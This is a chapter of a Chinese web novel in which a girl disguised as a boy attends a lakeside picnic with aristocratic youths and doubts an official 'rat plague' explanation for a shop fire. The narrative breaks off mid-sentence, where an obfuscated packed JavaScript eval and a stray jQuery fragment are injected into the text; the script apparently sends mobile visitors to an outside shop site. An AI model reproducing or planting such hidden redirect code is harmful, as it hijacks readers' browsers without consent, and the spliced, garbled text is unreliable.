79. 柳叶湖边
    五娘摇头:“我要那么多桃花做什么,这些已足够用了。”

    够用?二郎疑惑:“你摘这些桃花是用的吗,怎么用?”

    五娘没搭话,而是把厨娘打好的奶油抹在那个放凉的蛋糕坯子上,抹匀实了,再用花瓣小心的在上面摆了几朵桃花,摆好看了看,雪白的奶油配上朵朵粉嫩的桃花,有种如梦似幻的好看。

    承远喜欢的都不舍得拿出去了,奈何已经答应,不能反悔,只得跟五娘道:“明儿我们再做一个这样的好不好?”

    五娘:“这是生日蛋糕,就得生日的时候做,明儿又不是你的生辰。”

    承远有些失望,旁边的冬儿道:“后天初六是二少爷的生辰。”

    二郎点头:“是啊,五郎可不能厚此薄彼,后天也得给我做个一模一样的才行。”

    五娘:“后天二哥就要去书院了,便我做了你也吃不上。”

    丰儿小声道:“可以一早做了带去书院吃。”

    五娘瞪了他一眼:“就你小子聪明是吧。”

    丰儿却不怕五娘嘿嘿一笑:“反正五郎少爷您也得去书院旁听,顺道带了您亲手做的蛋糕给夫子们尝尝,以后便有什么差错,夫子们说不得会留些情面。”

    冬儿:“听你这话,难不成书院的夫子还会打学生。”

    丰儿:“打到不会,但会罚抄书,一般抄十遍起步。”

    说起这个五娘忽然发现了一个可以推托不去书院的理由,那就是字体,五娘的字虽不能说多好,但字体娟秀一看就是女子写的,当日为了套路叶叔,写了张契约便被叶叔一眼便瞧出端倪,虽未戳破,但话里话外已提醒过自己,这要是去书院,总不能一个字都不写吧,一旦写了不就露馅了,所以,不能去书院。

    不过,这件事不着急,等游湖回来再跟便宜二哥说,便宜二哥再不想作诗,也总比自己去了露馅好吧。

    找到借口,五娘心情好了不少,把蛋糕装进食盒,准备出发去柳叶湖,食盒是二夫人预备的,上下三层,除了蛋糕,还有点心干果,各占了一层,除了这个食盒薛妈妈怀里还抱着个白瓷壶,是给二表哥熬得梨汤,若是咳嗽,倒出来便能喝,方便非常,可见想的多周到。

    五娘带着冬儿,便宜二哥带着丰儿,二表哥这边除了薛妈妈还带了一个婆子,一行八人前后两辆马车去了柳叶湖。

    其实柳叶湖距离花溪巷不远,走路的话至多一刻钟也就到了,但二表哥身体不好,走不了远路,加之又带了许多东西,便只能坐马车。

    马车行到主街黄金屋附近,五娘撩开窗帘往外看了看,叶叔带着来顺儿收拾过,把那些烧的焦黑的木料清走,平整了地面垫上黄土,真看不出着过一场大火,只是有些空。

    见五娘看着外面发呆,二郎看了一眼道:“这里听说是一家书铺,只可惜没开张就走了水,把铺子都烧没了,要不是下了场雨,旁边的铺子也得跟着遭殃,不想清水镇鼠患如此猖獗,算上这家已烧了两个铺子。”

    五娘放下窗帘:“二哥怎知道是鼠患?”

    二郎:“县衙门口贴了告示,知县大人还特意让人送了一百个鼠夹子去书院用来灭鼠,以免走水。”

    这位新任知县还真是从上到下做的滴水不漏,第一时间掌握了舆论,如此一来便坐实了黄金屋那场大火并非人为,手段虽不算高明却有用,能让一个新上任的知县如此包庇,方家这是下了大血本,可见绝不会眼看着黄金屋开张,亏得自己没银子翻盖铺子,不然就算盖好了,没有足够大的后台,说不准又会闹一次鼠患。

    白承远道:“花溪巷倒没见有老鼠。”

    二郎道:“书院虽偶尔能看见一两只,却也没到成灾的地步,想必铺子里东西货物繁杂,又不及时清理洒扫,才使得鼠患成灾。”

    五娘道:“前面走水的杂货铺或许可能,但刚那个书铺听说是新换的东家,刚收拾好还未开张呢,能有多少东西货物,况,若真是鼠患成灾,也该旁边那几个卖吃食的铺子更厉害,却从没听说闹老鼠。”

    二郎:“这倒是,书院里的同学常遣小子下去买吃食,没听过谁家闹老鼠,如此说来,那家书铺的东家运气可真不好。”

    五娘无语了,开始担心自己这个便宜二哥将来能当官儿吗,这想的也太简单了,不行,得给他打打预防针,想到此,便道:“照二哥这话,凡解释不通的事,便是运气不好吗。”

    二郎:“倒也不能如此武断,但总有运气的成分在。”

    五娘摇头:“世上的事纵有意外也是极少数,大多意外并非意外,便如当官的审案,需得讲究人证物证具在,方能定案,听人说,不管说的多真也不一定是事实。”说着笑了笑道:“难不成以后二哥入仕为官,要凭运气断案吗。”

    二郎愣了愣,继而郑重的道:“是二哥糊涂了,不该凭旁人传言便妄下断语,日后再听了什么传言,必求证之后方可信。”

    白承远道:“二哥将来必能金榜题名光宗耀祖。”

    二郎:“当日初进书院之时,山长曾言,我等寒窗苦读并非为了金榜题名光宗耀祖而是要让我大唐河清海晏,治下百姓安居乐业。”

    五娘心道,山长不亏是前首辅大人,这洗脑的功力相当强啊,虽说不一定都能成功,但至少经过书院三年,日后再入仕途,多少有些底线,当然,贪是人的本性,想彻底杜绝不可能,唯有把底线拔的高些,不得不说,这招儿实在厉害,足以证明,山长大人并非那些食古不化的老古板,是知道变通的,而这么一位思想灵活的山长,应该会采纳自己的建议吧。

    说不定,过不久祁州书院就会扩招,如此一来,书院目前最大的费难题,也就迎刃而解了,那么自己这个出主意的多少得有点儿好处吧。

    越想心情越好,以至于风景都格外怡人起来,五娘的铺子虽也在柳叶湖旁,却只靠了个边儿,柳叶湖真正美的地儿是临着东山一侧的桃林,这片桃林是从山上直接连下来的,也不知是野生还是人种的,总之从山上一直延到湖边,桃林前面有个码头泊着几艘乌篷船,映着青山绿水黛瓦白墙,让五娘不觉想起了杭州西湖,西湖,杭州,这几个词儿在脑子晃过去,五娘忽然就明白为什么扇面上会出现忆江南了,眼前这景色不就是活脱脱的小江南吗。

    桃林边儿已搭好了凉棚,两侧有围屏相隔,其实不用围屏,老百姓也不会跑这儿来,为了温饱奔波劳作,哪有闲工

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|10530797|103022||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    夫游湖荡舟,也就这些世家公子们,才会闲的没事儿干,找个名目就得奢靡一回。

    五娘发现纵然混迹于这些世家公子中,自己也还是个小市民,有种很自然的仇富心理,这就是阶级,所以才都说跨阶层难,难的不是地位身价而是心理。

    凉棚内铺了毯子,摆了数张桌案,毯子上置有软垫,看着就舒服,虽刚到约定时辰,却已来了不少人,五娘大致扫了一圈,就是上回天香阁画舫那些人,以柴景之为中心,由此可以窥见柴家在京城世家中的地位。

    看见五娘三人,柴景之起身道:“要是再不来过了时辰,是要罚酒的,耍赖可不行。”话是跟二郎说的,目光却落在五娘身上。

    旁边的胖子道:“要我说迟了才好,多罚几杯酒怕什么,上回在天香阁二郎醉后可是作出了一首将进酒,夫子说五郎诗才更胜二郎,吃了酒,说不得也会作出什么传世佳句,倒是我等的造化。”众人纷纷笑着附和。

    五娘算是明白了,便宜二哥死乞白赖也要把自己弄书院去,就是为了应付这些人,也不想想,既然是传世佳句是能随便张嘴就来的吗,上下五千年,也只出了一个李太白。

    柴景之冲着五娘笑道:“当日我问你为何不进学,你还说志不在此,原来竟是糊弄我的,你说,该不该罚酒三杯。”

    柴景之一句话,周围几个人更来劲儿了,纷纷道:“三杯哪成,得罚十杯。”

    这些人纯粹是看热闹不嫌事儿大,好在柴景之拦了过去:“罚多少一会儿席上说。”众人这才消停。

    柴景之看向二表哥:“就该出来走走,成日在屋里闷着,没病也闷出病了。”说着拉着承远依次给他介绍,五娘发现,承远虽然没出来过,却丝毫不怯场,跟那几位世家公子拱手为礼,举手投足从容淡定,不卑不亢,且因瘦弱,即便合身的袍子穿在他身上也有些逛荡,却看上去更有一种别样的风流倜傥,让五娘想起了小说里那些病娇男主,真是养眼的很。

    念头刚冒出来,更养眼的就来了,这边刚在凉棚中落座,便进来数位歌姬,个个打扮的花枝招展,大概是看二表哥身子弱,自己年纪小,故此只自己跟二表哥身边没有歌姬陪酒伺候,就连便宜二哥身边都安排了一位,那歌姬热情非常,眼看就快贴到二哥身上了,二哥躲不开,只能坐得笔直,犹如一尊庙里供的神像,看着就好笑。

    五娘在心里笑了一会儿,还是决定解救一下二哥,开口道:“如此大好春景,怎能没有曲子。”说着指了指二郎身边的歌姬:“我记得上次在画舫,她唱的好听。”

    柴景之果然命那歌姬弹唱一曲,待那歌姬从席上下去,便宜二哥大松了口气,暗暗冲五娘拱了拱手,两人一番来往落在柴景之眼里,忍不住摇头失笑。

    虽是为了解救便宜二哥,但那歌姬唱的婉转动听,五娘都听入迷了,一时唱毕,忍不住拍起手来,众人纷纷看向她,那唱曲的歌姬掩着嘴笑,五娘才意识到这不是看表演,自己鼓掌有些不合时宜。

    遂咳嗽了一声道:“你刚的曲子唱的真好听,听着不像祁州这边的调子。”

    那歌姬道:“奴家是江南人,瞧着这里的景色想起家乡,便唱了一曲家乡的曲子。”